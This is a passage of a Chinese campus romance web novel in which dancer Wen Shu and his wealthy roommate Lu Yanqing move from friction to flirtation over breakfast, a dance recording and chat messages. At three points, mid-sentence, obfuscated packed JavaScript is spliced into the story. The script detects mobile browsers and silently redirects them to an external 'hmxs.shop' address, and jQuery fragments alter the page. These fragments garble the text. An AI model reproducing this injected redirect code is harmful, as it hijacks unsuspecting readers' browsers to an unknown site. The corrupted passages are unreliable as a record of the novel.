他伸手揉了揉眼睛,随后在枕边摸了摸,摸到手机打开看了一眼时间,十点半。 嗯,确实睡了个爽。 放下手机,在床上又躺了几分钟,才慢吞吞的坐起身,三分钟后,掀开被子下了床。 来到浴室,他看着镜子里的自己,头发因为睡觉的原因乱糟糟的堆在脑袋上,有一撮还翘了起来,相当的引人注目。 他抬手往下压了压,没压下去,十分的倔强,便放弃了。 睡衣经过一晚上的蹂躏,领口的扣子不堪重负般开了两粒,露出白皙的肩颈,和精致漂亮的锁骨。 他的睡衣偏大了些,松松垮垮的坠在身上,衬得他整个人小小一只。袖子过长,遮住了大半的手,因为要洗漱,所以不得不捋上去一些,精致的腕骨得见天光,莹白如玉,手上的玉镯都显得逊色了些。 他拿起洗漱台上的梳子,开始收拾自己。 洗漱完,温述一边回信息,一边往小厨房走,脑袋上翘起的头发还是没有战胜,温述便随它去了。 小厨房的冰箱里有他买的速食,他打算煮几个水饺,早午餐一起吃。 结果刚走到客厅,就见桌子上放着一袋东西,旁边贴了个便签纸。 【给你点的,记得吃。】 寥寥几个字,个人风格太明显,笔锋凌厉,不用猜都知道是谁,更何况这个寝室里也没有第三个人了。 温述看了一眼便签纸,又看了一眼那个袋子,有些没懂这是什么意思。 陆延青为什么给他买早餐啊,他们俩关系已经好到这种程度了吗?什么时候的事?他怎么不知道? 看着这袋东西,温述一时之间不知道该怎么处理。 两秒后,他放下便签纸,将袋子给打开了。 嗯,绝对不是因为袋子的logo是喜得闲,那个上江城有名的早茶店,他一直想吃,但一直没有预约上。 袋子打开之后,看着里面的东西,温述沉默了一下,决定今天一整天会给所有人好脸色看。 喜得闲最有名的茶点都在内,陆延青看上去把招牌的点了个遍,要不说还得是陆少呢,普通人根本不敢这么点。 温述瞬间原谅了陆延青昨天做的所有事情,甚至于因为这顿早茶,他今天能对陆延青笑脸相迎。 将东西一一拿出来摆好,温述思考了一下,拍了个照,发给了陆延青。 【文书:谢谢你的早茶(图片)】 陆延青回得很快。 【死装哥:刚醒?】 【文书:不算吧,醒了有一小会儿了】 【死装哥:嗯】 【死装哥:看看还热吗,凉了就别吃了,等我回来】 温述摸了摸,抬手回复。 【文书:温的】 【文书:等你回来干什么?】 【死装哥:带你出去吃】 温述顿了顿,一下子不知道该怎么回复,不太敢问为什么。 那边没等到他的下文,又发了一条信息过来。 【死装哥:怎么了】 【死装哥:在打打删删什么】 既然他都这么问了…… 温述一咬下唇,视死如归般将那几个字发了过去。 【文书:为什么?】 【死装哥:没有为什么】 【死装哥:我想】 温述看着这两条消息,两秒后。 【文书:彳亍】 陆延青就笑了,他光是看着这两个字,都能想象到那人发这条消息的时候是什么样的表情。 一定是满脸茫然且无语,说不定那好看的眸子里还会流露出一点嫌弃。 陆延青知道那人不待见自己,但一想到他看到那袋早茶,别扭又高兴的给他发消息,他就觉得……像小猫。 傲娇。 冷脸萌。 他这样想着,又忍不住闷笑了一声。旁边的人跟见了鬼一样看着他,仿佛他是什么洪水猛兽。 陆延青注意到他们的视线,收了手机,也收了笑,面无表情的看着他们,抬了下颌。 怎? 周何谓率先发出质问:“刚才笑得那么春风荡漾,和哪个小美人发消息呢?” 此话一出,其他人大气也不敢喘,谁不知道陆延青最讨厌这种“桃色绯闻”了,这么多人里也就周何谓这个和陆延青认识多年,且家里是世交的敢问了。 本以为陆延青的脸色会因为这句话而变得更冷,但谁知并没有,不但没有,甚至还看上去心情颇好的样子。 “不是小美人。” “是猫。” 他说着,站起身。 “你们继续,我先走了,消费记我账上。” “陆少大气~”周何谓懒散的往后一靠,看过来的目光里带着点戏谑,“这么着急,是要去哪儿啊?” 陆延青头也没回:“回去喂猫。” 与此同时,温述打了个喷嚏。他吸了吸鼻子,抽过纸巾将嘴巴擦干净,喝完最后一点乌龙茶,他满足的靠在椅子上,摸了摸自己的肚子。 吃得有些撑。 好久没这样放肆的吃过了,之前为了保持身材和体态,不敢太怎么吃,现在猛一塞了这么多,还有些不适应。 “有种淡淡的罪恶感呢……”他这样想着,舔了下嘴唇。 看上去完全不像有罪恶感的样子。 靠在椅子上缓了缓,后站起身开始收拾残局。早茶这玩意儿吃起来爽,事后收拾的时候,真的还挺麻烦的,包装袋一个接着一个的,捡都捡不完。 温述好不容易把袋子收拾完塞进垃圾桶里,转过身看着那些汤汤水水,开始头疼。他叹了口气,端起没喝完的汤,犹豫是丢掉还是放进冰箱里,思来想去还是决定放冰箱里,毕竟扔掉还挺浪费的。 想到这,又把另一杯仅喝了一口的乌龙茶端了起来,打算一起放在冰箱里。 结果刚转过身就撞到一个什么东西,手上的汤洒了一大半。 温述赶忙往后退了一步,但后面就是桌子,他的后腰撞在桌沿,疼得他浑身一抖,于是乌龙茶也洒了。 “……” 看着这个场面,温述一时之间不知道该说些什么。 “请你吃早茶,你就这么报答我?”陆延青率先打破沉默,垂眸看了一眼自己,又看了一眼温述,表情很淡。 陆延青的身上全是汤,浸湿了衣服,油腻腻的贴在身体上,意外显现出了胸肌和几块腹肌,看来他们传的不是假的,陆延青的身材练得真的很不错。 温述的第一反应:好大…… 意识到自己在想些什么的时候,温述猛地清醒过来,感觉自己的后背泛上一阵恶寒。 好险,刚才差点就对着直男花痴了。 他抬起头,对上陆延青垂下的视线,不满的说道:“你走路没有声音的吗,忽然走到我后面,吓我一跳,和我道歉。” 温述觉得事情变成这样一定不是他的问题,一定是因为陆延青,谁让他走路没声儿的,还走到他后面,连一句话都没说,导致他没有第一时间发现身后有人,所以才会发生这种事情。 他越想越觉得有底气,看着陆延青的眼神都硬气了不少。 刚回到寝室就被泼了一身的汤的陆延青见他这副样子,就算有脾气也被弄得没脾气了。 他舔了舔自己的尖牙,笑了。 看见这个笑,温述觉得他是气疯掉了,刚才还趾高气昂的,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这句话说完,温述就意识到自己说错话了,哪有人当面说脾气不好的啊!这下哪怕是不生气也要因为他这句话生气了。 他在这边在苦思冥想对策,那边却满脸空白。 眼前的人儿看上去真的挺怕他的,那之前还那么趾高气昂的样子,完全是因为他当时的脸色好,所以恃宠而骄吧。 一见情况不妙就开始装乖,真就和猫一样。 陆延青想到这,扬了扬嘴角,好吧,对待小猫确实不能太严肃,会吓跑。 “没生气,没怪你,去洗澡。”陆延青再次说道。 温述想说些什么,张了张口,最后还是什么也没说,点点头,准备照做。 转身离开之前,陆延青叫住了他。 “温述,想说什么?” 温述抿了抿唇,抬眼和他对视。 “我原本因为外界的流言对你的态度不是很好,我和你道歉,对不起。”他的声音不卑不亢的,“但我觉得这不完全是我的问题,因为你总是提我的后颈和刺青,让我觉得很冒犯所以我才会这样对你。” “我觉得你也要和我道歉。” 一口气说完这些,温述小心翼翼的观察着陆延青的神色。 只见陆延青像是听到了什么好玩儿的东西一样,眼中浮起笑意:“行,我道歉,对不起,但是温述。” "我确实不是什么好人,我也确实是脾气差,这一点他们没说错。" 温述蹙眉:“那你……” “不知道。”陆延青看着他,“可能因为你太可爱了。” “……” 嗯,他是说了今天会给所有人好脸色看,包括陆延青没错。 但现在这个状况来看。 好脸色还是给多了。 5. 耍流氓 温述洗完澡出来的时候,陆延青正光着上身,一边擦头发,一边往冰箱里放饮料。 之前衣服湿哒哒的贴在身上的时候,温述就觉得他的肌肉练得很不错,现在他赤着上身,大大方方的露了出来,比当时朦朦胧胧时看着还有冲击力。 嗯,富有且慷慨。 陆延青注意到他,将脑袋顶上的毛巾拿了下来,嗓音淡淡的:“洗完了?” 这不是很明显吗,温述无语,但还是点了点头。 还是那句话,抛开别的不谈,陆延青长得是真的帅,肩宽腿长,胸肌和腹肌不会过分夸张,肌肉线条很是漂亮。 当然了,更漂亮的是他的脸部线条,很凌厉,下颌线比人生规划还清晰,眉眼深邃狭长,就那么看着人的时候,平白让人觉得很凶。 论坛上说他看上去不好接近,也有一部分原因是因为他的长相太有攻击性了,吓人。 陆延青没再说什么,又放了一瓶饮料进冰箱,温述瞥了一眼,是碳酸饮料,有些嫌弃。 看见他脸上的表情,陆延青扬了下手上的东西,问道:“不喜欢喝?” 想起这人刚才又捉弄他,温述瞬间起了点坏心思,面无表情的说:“喝可乐杀精。” “……” 没想到温述会呛自己,陆延青一时之间竟没反应过来,将最后一瓶可乐放进冰箱,他关上冰箱门,看着温述。 温述就这样和他对视,丝毫不惧,就好像不久之前犯怵的人不是他一样。 他惯是知道怎么恃宠而骄的,意识到陆延青对他的态度还不错之后,他就会开始慢慢的骄纵起来。 就这样一点点试探底线。 陆延青也不生气,他算是发现了,这人看着胆子大,实际上凶一下就缩回壳里去了,虽然说很好哄就是了。 于是他只是睨了一眼温述,然后说道:“最好别让我发现你喝。” “我才不喝。”温述哼了一声。 哼完,温述看了一眼桌子,他留下的烂摊子已经被收拾好了,洒到地上的汤和乌龙茶也被清理了。 也就是说,在他洗澡的这段时间里,这人不但洗完头发洗完澡,还把桌子给收拾了,把地给拖了,简直就是超人。 完全无法想象陆延青拖地的样子,有点诡异。 陆延青光是看他那个表情都知道他在想些什么,朝门口抬了抬下巴。 温述顺着看了过去,看到了一个扫地机器人。 “不是我拖的地,它拖的。” “噢。” 仅仅一个字,陆延青听出来了一点失望的意味。 到底在失望什么? 他觉得有些好笑。 温述其实从一开始就没相信是陆延青自己拖的地,他甚至没相信是陆延青收拾的残局,毕竟他少爷一个,还是家中独子,怎么想都是十指不沾阳春水的。 所以当他看到那个扫地机器人的时候,毫不意外,完全在意料之中,只是还是觉得有点可惜。 毕竟……大奶男妈妈什么的,还是太超过了。 “……” 温述狠狠谴责了一下自己,再次提醒自己,对面是直男。 他移开视线,摸出手机看了一眼时间,经过这么一折腾,已经快十二点了,他下午一点还有课。 本来打算回卧室再睡半个小时的,忽然想起来了什么,打到一半的哈欠被他硬生生的吞下去了。 教授给他们布置了一个暑期作业,每个同学回去挑一首舞曲跳,录完发给助教。 他一整个暑假彻底玩嗨了,把这件事忘得干干净净。 只有不到一个小时了,现在去舞蹈教室肯定很多人,估计连热身都没法热。温述视线一扫,看了一眼客厅里的桌子,将手机收了起来,走到桌子前,开始用力,想把它往旁边推一推。 结果当然是,没推动。 温述觉得有些难以置信,这个桌子他居然没有推动,他的力气已经小成这个样子了吗? 他站在桌子面前,和桌子大眼瞪小眼,面面相觑,思考人生。 不理解,不明白,不服。 温述深呼吸一口气,决定再来。 “温述,干什么呢。”陆延青把毛巾放回房间出来,就见温述一动不动的站在桌子面前,大有一副要和桌子干架的意思。 温述被陆延青的忽然出声吓了一跳,浑身一抖,扭头看过去,第一眼看到的是陆延青那傲人的胸肌。 “……”温述悄悄咽了口口水,他觉得自己太笨了,真的,眼前这个活生生的“最强外挂”他不用,他非要自己上,自找没趣。 这种耗体力的活儿果然还是要找大肌肉的人来干吧! 他这样想着,小小的喊了一声大肌肉的人:“陆延青。” “怎么。”陆延青走过来,站在他身后,一起看着这个桌子,场面一度有些滑稽。 温述犹豫了一下,还是转过身说道:“你可以帮我把这个桌子往旁边搬一下吗?” 陆延青看了他一眼,问道:“搬到哪儿去。” “就,往旁边搬一下,我要录个舞曲。”温述越说声音越小,“我搬不动。” 陆延青低头听着,在他说自己搬不动的时候,忽地笑了,声音里也带着笑意,尾音上扬:“行。” 说完,又瞥了一眼他:“小白切鸡。” “。”温述露出一个微笑,“这次我就当没听到,下次,不可以这么说了哦。” 陆延青看着他,抬腿踩在桌子上,上身往下压,胳膊搭在抬起的腿上,两人的距离瞬间被拉近,呼吸相融。 “怎么,你不是吗?” “我……我当然不是!”温述有些不适应这个距离,后腰抵在桌沿,身子往后仰了仰,“我只是肌肉不明显而已,我可是学舞蹈的。” “是吗?”陆延青的声音莫名低了下去。 他本来就高,身材还练得好,此刻他的上身笼罩住温述,无形之中压迫感极强。 “你,你要干什么?” 陆延青看着他,没说话,忽然轻轻扬了下唇,脚下一个用力,那张温述怎么也推不动的桌子咻的一下滑了出去。 温述没想到陆延青会突然把桌子给踢开,有些猝不及防的往后倒,眼看着就要摔了,腰间覆上一只大手,将他往上带了带。 不知道是因为惯性还是因为拉他的力度实在是大,总之温述撞进了陆延青的怀里。 嗯,怀里。 前情提要是陆延青上身没有穿衣服。 也就是说,说好听些是撞进了陆延青的怀里,说糙一点就是,他埋进了陆延青的胸肌里。 温述觉得自己可以找个坑把自己埋了,现在去死也未尝不可,哈哈,不知道的还以为他在骚扰陆延青。 但是该说不说,陆延青的肌肉真的,还挺好摸。 温述破罐子破摔,伸手摸了摸,手感不错,有弹性,又韧,很神奇的手感。 他正打算再摸摸,陆延青的声音幽幽的从上方传来:“摸够了没。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766926|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温述瞬间清醒,迅速往后退了一大步,从陆延青的胸肌上离开了。他低垂着头,脸上不自觉的染起红晕,一路红到了脖颈处。 陆延青本来也没生气,见他这一副小学生认错的样子,忍不住想逗逗他,故意板着脸,压着声音说话。 “温述,你耍流氓啊?” 听到这个罪名,温述不承认,抬起头想为自己辩解,目光触及陆延青那臭的不行的脸,瞬间歇了火,萎靡了下去,但还是不死心的小声说道:“谁耍流氓了,真要算的话,也是你先耍流氓的。” 对于“耍流氓”这件事,温述拒不承认,只是这花开得这样艳,他不去欣赏,倒显得他不解风情了。* 再说了,这一切还不是因为陆延青莫名其妙抬腿踩在桌子上,把他限制在这么一个小空间里,还靠得这么近,让他不得不往后退。 最最重要的是,这可恶的陆延青居然还一句话也不通知一声,就把桌子往后一踢,害得他根本没反应过来。 所以这件事怎么想都是陆延青的错啊! ……好吧,他也有错,他不该趁机摸陆延青的胸肌,他忏悔。 “行了,跟个小鹌鹑一样。”陆延青这样说,往后退了一步,保持了一个正常的社交距离,“你不是还要录舞曲?” “啊,嗯。” 差点把这件事给忘掉了,果然是男色误人啊! 温述将手机拿出来,四下看了看,没看到合适的支撑手机的东西,他自己的手机支架丢在家里,桌子又不够高,只能找东西把手机给支撑住。 然后他就发现,陆延青这个人真的很讨厌。 他在找东西当支架,陆延青总是在他面前晃,要么是“不小心”碰到他,要么是故意发出些声响吸引他的注意,在他看过去的时候,又是满脸的无辜,总之就是很烦。 在第不知道多少次被撞到之后,温述忍无可忍,扭过头质问道:“你到底要干什么嘛!我在找东西!” 谁知陆延青丝毫没有悔过之心,还明知故问:“找什么?” 温述一脑袋的火,语气也跟着不太好起来:“找东西支撑着手机,我没有手机支架,桌子太矮了。” 陆延青好像就为了等着他说这句话一般,在他说完之后接了上去:“我可以帮你拿着手机录。” 此话一出,温述脑袋里的火也不烧了,脾气也没有了,仿佛大脑被抚平了褶皱*,他反应了一下,越想越不对劲,有些怀疑的说:“你,又是撞我,又是故意制造噪音的,是故意的?” 陆延青很是坦荡:“嗯哼。” “……”温述眨了眨眼睛,忽然愤愤的说道,“你就是故意想让我求你对吧!” “?”陆延青的表情瞬间有些一言难尽。 他觉得温述的脑回路实在是神奇。 “那你要我帮你拍吗?” “……要。” 不要白不要。 要是录得不好,我就,我就在他的蛋白粉里掺奶茶粉!温述觉得自己简直太坏了。 陆延青不知道他在想些什么,只见他忽然露出一个很意味深长的笑,有点阴恻恻的。可能温述自己这样觉得。 于是,他开口道。 “在想什么笑出声了。”陆延青,“别回味刚才摸我的手感了。” “谁在回味啊!” 温述简直要被气死了,他第一次见到这样厚脸皮的人。 他明天,不,今天! 今天下课就去买奶茶粉掺陆延青的蛋白粉里面! 6. 生气了 撒奶茶粉的事情暂且放到一边,温述又看了一眼时间,决定先解决这个被他忘在脑后,且拖欠了不知道多久的舞蹈作业。 给陆延青指了一个位置站好,把手机递给他,再三叮嘱:“要保证我在镜头里,不要手抖哦。” 说着,瞥了瞥陆延青的肱二头肌,又补了一句:“手抖的话,那我就要怀疑你的肌肉是不是有水分了。” “……” 陆延青垂眸看着温述,发现这人惯会拱火,知道怎么才能激起别人的胜负欲,鬼精鬼精的。 他点了点头,表示自己了解。 温述见他点头,自己也跟着点头,而后转身,一边扎头发一边走到腾出来的空地上。 说实话,陆延青不知道温述跳的是什么舞,只觉得温述跳得很漂亮。 被扎起来的头发随着动作摆动着,因为长,所以有些头发垂到了身前。音乐从音响里流出,温述的动作柔软且流畅,平日里清亮的双眸,此时似乎是为了适配这支舞,所以微微眯起。他虽然穿的是睡衣,但丝毫不违和,美得让人忽略了他身上的睡衣。 干净利落,丝毫不拖泥带水,他的舞有一种别样的魅力,让人情不自禁的想将目光放在他的身上。 陆延青看着温述,心想,他真的很适合舞台。 一舞毕,温述缓了一会儿,好久没有练舞,体能和柔韧度都下降了。他抹了一把汗,觉得自己不能再这么摆烂下去了,计划从明天开始,每天去舞蹈室练三个小时的舞。 一边想一边朝着陆延青走过去,对着他伸出一只手,另一只手拿旁边的纸巾。 结果纸巾没拿到,手机也没拿到。 温述感受着手上的触感,眼神奇怪的看过去,陆延青把自己的手搭在了他的手上。 “……”温述眉心跳了跳,“请问陆学长,你这是在干什么?” 听到这个称呼,陆延青抬了下眉,嗓音低沉慵懒,“我以为你要牵我。” “?” 温述觉得陆延青的脑袋有问题,谁家好人大白天的两个男的手牵手啊!幼儿园小朋友吗! 温述无言,伸手将自己的手机拿了回来,还瞪了一眼陆延青。 那一眼根本毫无威慑力,在陆延青看来完全就是在撒娇,他好像永远意识不到自己那些所谓的“凶”,在别人看来只有可爱。 跟个笨蛋一样。 看完陆延青录的视频,温述满意了,画面清晰,无手抖痕迹,关键是他居然还会运镜,真是神奇,这就是有钱人家的孩子吗,什么都会一点。 因为视频录得好,所以温述大度的原谅了陆延青刚才干的事情,他将手机熄屏,抬手拍了拍陆延青的肩膀,欣慰的说:“看起来肌肉没有水分,非常的棒。” 陆延青真是被气笑了。 他抬手给了温述一个脑瓜崩,没什么好气:“光是找私教就花了好几万,你以为我钱白花的?” 虽然他收着力,但温述还是被疼得不行,连忙抬手捂住了额头,不高兴的看着他:“疼!” 这下轮到陆延青愣了,他的眉头微微蹙起,觉得自己刚才没用多大的劲儿,但看温述那样,也不像是装的,像是真的疼。 温述此时根本不想理陆延青,下手没轻没重的,弹他的那一下差点把他魂给弹飞,疼的要命啊!肌肉大就算了,力气也这么大这像话吗?像话吗! 他垂着眸,转过身去不看陆延青,他绝对要在陆延青的蛋白粉里掺奶茶粉,绝对! 忽的,捂在额头上的手被人攥住,从身后拉开,随后被带着转了个圈儿,撞上陆延青的视线。 陆延青看着他,脸上没什么表情。 温述的额头上,刚才被弹脑瓜崩的地方此时已经红了一大片,此时他的双眸水润润的,看着他的时候,不自觉的带了些埋怨。 陆延青微不可查的叹了口气,小声自语道:“娇气。” “。?”温述简直不敢相信自己的耳朵,陆延青这个罪魁祸首,居然说他娇气?他知不知道自己刚才用了多大的劲儿啊! 他越想越生气,越发不想理陆延青,挣了挣自己被陆延青攥住的手,没挣动,抬头睁着一双漂亮的眼睛,凶巴巴的瞪着他。 声音冷冰冰的:“放开我。” 陆延青一看,得,生气了。 他反思了一下,这件事儿确实是他有问题,他也不该那么说温述,本来只是随口嘟囔,谁知道被听了去。 陆延青第一次对自己的这个性格感到沉默。 他放开温述,眼见着他得了自由就要走,就又只好给人抓回来,有点无奈:“跑什么。” 温述理直气壮的:“我打不过你我还不能跑了吗。” “谁打你了。” “你。”温述看着他,又抬手指了指自己的额头,“你打我。” 陆延青没话说了。 温述以为这人把他抓回来是为了给他道歉,谁知道这人只是看着他,什么也不说,就光看着,干瞪眼。 看看看看什么看! 温述觉得自己迟早被陆延青气死,好不容易积攒的好感瞬间被败完,他现在又开始讨厌陆延青了。 对着他重重的哼了一声,温述头也不回的离开了,这次陆延青没有拦他,让他走了。 温述一边走一边在心里腹诽,但他实在是骂人词汇匮乏,说来说去,也就只会“笨蛋”、“傻瓜”、“混蛋”。 根本毫无杀伤力。 温述回到卧室,气也就消了,他从来都是这样,气性来得快去得也快,这一路上把陆延青翻来覆去用那几个词骂了好几遍,把自己给哄好了。 但不生气不代表原谅,在陆延青给他道歉之前,他是不会和陆延青说一句话的。 虽然他觉得陆延青并不会和他道歉就是了,毕竟,少爷嘛,什么时候低过头,他也能理解。 想到这,温述又想起他让少爷给他搬桌子,他还让少爷给他录视频,他还凶少爷,他觉得自己简直厉害死了。 至于少爷会不会面上挂不住,一气之下把他赶出寝室…… 不必理会。 温述不再去想那些有的没的,将录的视频发给了助教之后,定了个闹钟,再次躺回了床上。虽然已经睡不了多久了,但他就是要睡,盖好被子戴上眼罩,温述安心的闭上了眼睛。 如他所料的那样,他并没有睡着,仅仅只是眯了一会儿,但就是因为眯了一会没睡着,所以睁开眼的时候才会困。 温述看着天花板,心想自己今天一定要去上这个课吗。 挣扎了几分钟还是得去上课,他迷迷糊糊的站起身换了衣服,拎着自己的舞蹈服,打着哈欠开了门,然后发现门外还有门。 抬起头,和穿戴整齐的陆延青对上视线。 “干什么。”他困,所以声音也软,不仔细听根本听不到。 陆延青见他这样,一下子没了脾气,本来打了一肚子的草稿,现在一句话也说不出来。 没办法,妥协了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766927|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “送你去上课。”陆延青这么说。 温述还没完全清醒,脑子转得有些慢,反应了好一会儿才反应过来,猛地睁大眼睛,满脸不可置信:“你说什么?” “送你去上课。”陆延青又重复了一遍。 温述瞪着眼睛看他,抬手摸了摸他的额头,喃喃道:“这也不烧啊……你磕到脑袋了?” “……”陆延青有些没话说,“没有。” “那为什么要送我去上课?我是小学生吗?”温述有些不能理解,甚至觉得有些荒谬。 陆延青抿了抿唇,而后说道:“我想。” “?” 疯掉了吧! 他盯着陆延青,试图从他的眼睛里看出什么,但是什么也没有,陆延青很是坦荡的和他对视。 两人僵持着,温述不想让陆延青送,陆延青非要送,他不知道为什么陆延青这么执着于这件事,搞得好像他是什么不认识去教室的路的小朋友一样。 就在他忍无可忍,打算和他理论一番的时候,陆延青看了一眼手表,声音淡淡的:“走吗,再耽误一会儿你要迟到了。” “……走就走。”温述拗不过他,他赢了。 陆延青也满意了,伸手将他手上拎着的包拿了过来单肩背着,对他点头示意了一下。 温述撇了撇嘴,恨自己为什么没有在包里放两个大砖头重死他。 A大的校园占地面积很大,每次去上课要么提前好久从宿舍走,要么抢共享单车,但有的时候实在抢不到,只能跑过去。 有些人会自己买个小电驴骑,比起抢单车方便一点,就是充电不太好找地方充,因为买小电驴的人太多,充电的位置又有限,有些没有道德的人,会把别人的没充满电的给拔了把自己的插上。 温述就是因为这个所以才没买小电驴,大一一整年都是徒步上课,刚好当有氧运动了。 但他没想到陆延青也是徒步去,有些惊讶。 “你没有买小电驴吗?” “什么?”陆延青猝不及防听到这个词,反应了一下,“哦,没有,我走路去。” “我以为你会买一个,毕竟少爷走路去上课还是有点不少爷的。”温述一本正经的说。 陆延青看了他一眼,哼笑道:“少爷可以开918这种很少爷的车去上课,但学校不让校内开车。” “……是我冒犯了。”他就不该多那个嘴。 他们两个走在路上相当的引人注目,一个帅,一个美,走在一起对眼睛十分友好。 路过的同学十个有八个人的眼睛在他们身上,两个人像是毫无所觉一般有一搭没一搭的聊着天。 所以他们没有注意到,有人将他们拍了下来,发到了论坛上。 【主题】停停停,这两个走在一起未免太养眼了一点! 1L:等一下,不是说陆学长没有女朋友吗?那这个女生是谁? 2L:你醒醒这他妈是男的,那是我们艺术系的系花!没有眼睛的家伙!!! 3L:不是说陆学长恐同吗?那他们为什么这么亲密的样子 4L:你好,恐同不代表就要和男生一辈子不说话 5L:能说吗,其实他俩站一起还挺配,谁懂陆延青低头听温述说话这个动作,好萌! 6L:?你疯了吗,陆延青恐同,他是直男喂 7L:直男吗?有意思,直接喜欢一个男的是吧 8L:乱成一锅粥了趁热喝了吧。 7. 发错了 两人来到舞蹈室的时候,其他同学已经到得差不多了,温述将自己的包从陆延青手里拿过来,想了想,还是道了声谢。 陆延青点了下头,看了眼教室里因好奇而向他们张望的同学,触及他们眼底的“求知若渴”,若无其事的收回目光。 “下课别走。”他说。 “干什么?” “接你下课。” 他的语气淡淡的,就好像随口一说般,不必放在心上,但温述知道,他是认真的。也就是因为知道他是认真的,所以才更觉得这人是神经病。 他不愿意,有些不满的看着陆延青, 陆延青自然看出来他眼底的不情愿,但……腿长在他身上,他就要来。 这边想着自己就要来,那边想着自己下课就跑,各有各的心机,最后谁都没有说,相顾无言一番,温述进了教室,陆延青看着他进了教室。 等温述放下东西的时候,门口已经看不见陆延青的身影了,似乎是刚离开不久,因为温述发现落在他身上的目光瞬间增多,陆延青在的时候没几个人敢看他们。 他人缘好,有不少人和他打招呼,他一一回应,就是打完招呼之后,对方总是一副欲言又止的神色。 他当做没发现,拿着衣服去了更衣室,换好衣服出来,刚好教授也到了。他快速环视一圈,找了个小角落站着。 教授站在他们面前,开始点名,揪出来几个没来的,满意的将名单收了起来。开学第一天上课,她并不想搞得太严肃,将投影幕布放下来之后,开始为大型社死现场铺垫。 “暑假都给你们留了任务,对吧,有些同学呢交得很迅速,很优秀,有些同学呢,就比较拖沓了,开学的时候才交的,具体是谁我就不点名了哈。” 她说到这,故意停了一下,几秒后接了上去:“是不是以为我要点谁的名了?” 教室里瞬间爆发出笑声,温述也跟着笑了笑,他挺喜欢上这个教授的课,教学质量很高,人也很幽默风趣,专业性极强,有任何一丝动作不标准的地方都逃不过她的眼睛。 教授等大家笑完才慢慢继续说道:“好了,假期玩也玩了,作业也都或早或晚的交了,我也没那么多时间一一看,正好今天是这学期的第一节课,就先不上课了,我们来看看你们交的作业。” 说完,不给他们反应时间,迅速连上蓝牙,将视频投放在幕布上。 “诶诶诶!教授怎么第一个就放我的啊啊啊!”是个女生,看见幕布上的她,羞得把脸埋进了朋友的怀里。 “害羞什么,这不是跳得挺好的。”教授乐呵呵的,“就是有些地方处理的不到位啊,看你这个转身,有点僵硬了,一整个暑假都在躺咸鱼吧?” 教授说完,又换了下一个。 如果说一开始大家还不适应的话,经过了几个人之后,大家彻底放飞,从原先的“不要啊,不要放我的”,到现在的,“教授快放快放”。 经典的事情已经发展成这样了,那就大家一起下水吧。 教授放视频的时候,或多或少的都会指出一些不足,遇上明显完成度不好的,也会打趣两句,完全不会挂脸色。 不知不觉已经放了一大半了,温述有些无聊,仗着自己坐在角落,偷偷摸摸的将手机拿了出来。 刚打开手机,就被林清消息轰炸。 【清:你看论坛了吗?】 【清:你和他啥情况?现在已经能一起上课了?】 【清:你们俩不是昨天才认识?】 【清:金融系的教室也不和你顺路吧?】 【清:搞好关系也行吧,至少不会被欺负了】 【清:但还是保持一下距离,那大少爷恐同,要是让他知道你是弯的指不定要干出什么事儿来】 温述看着这些消息,一脸茫然,这都什么跟什么啊…… 他抬头瞄了一眼教授,低下头迅速打字。 【文书:还没看论坛,怎么了?】 至于后面几个问题……温述犹豫了一下,思考再三,还是决定告诉林清。毕竟林清从小主意就多,脑袋转得比他快,说不定和他说了之后,他能提供什么建议。 【文书:不是一起上课,是他非要送我来上课,不知道为什么,我说不要,他非要】 他想说其实搞好关系陆延青也欺负他,但想了想还是算了,因为林清是真的会杀到寝室里来,更何况现在他和陆延青的关系还算不上好。 现在想起那个脑瓜崩他都还生气,下手重得要死,关键是那个人自己还不这么觉得,搞得好像是他在矫情一样,那个人还说他娇气,怎么想都很过分。 林清似乎有事被绊住了,没有回他,温述越想越生气,退出和林清的聊天框,点开陆延青的,发了一个表情包过去。 【文书:一拳捶死你.jpg】 那边秒回。 【死装哥:?】 【死装哥:我怎么惹到你了】 温述啪啪啪连发好几个表情包过去。 【文书:小狗中指.jpg】 【文书:去晦气柚子叶.jpg】 【文书:改天吧,今天没x欲.jpg】 !!! 啊啊啊点错了!!! 温述手忙脚乱的撤回,红着脸祈祷陆延青这会儿刚好有事没看见,他本来是想发下面的那个“不像话”,结果不知道怎么点成了那个带颜色的,早知道这样他就不发了! 人怎么能捅出这么大的篓子啊啊啊啊! 温述将手机放在腿上,虔诚拜三拜,希望陆延青没看见,但果然这个世界上没有神仙,一分钟后。 【死装哥:。】 【死装哥:今天没有,什么时候有】 看到这几个字的时候,温述想死的心都有了。真的,他觉得陆延青克他,没开玩笑,他们两个一定八字不合。 不是不合,他们两个一定八字相斥。 “温述,红着脸干什么,害羞啊?这不是跳得挺好的。” 他想事情想得太过认真,本来还在思考该以什么样的理由晚上不回寝室了,以至于根本没注意到视频放到他的了。 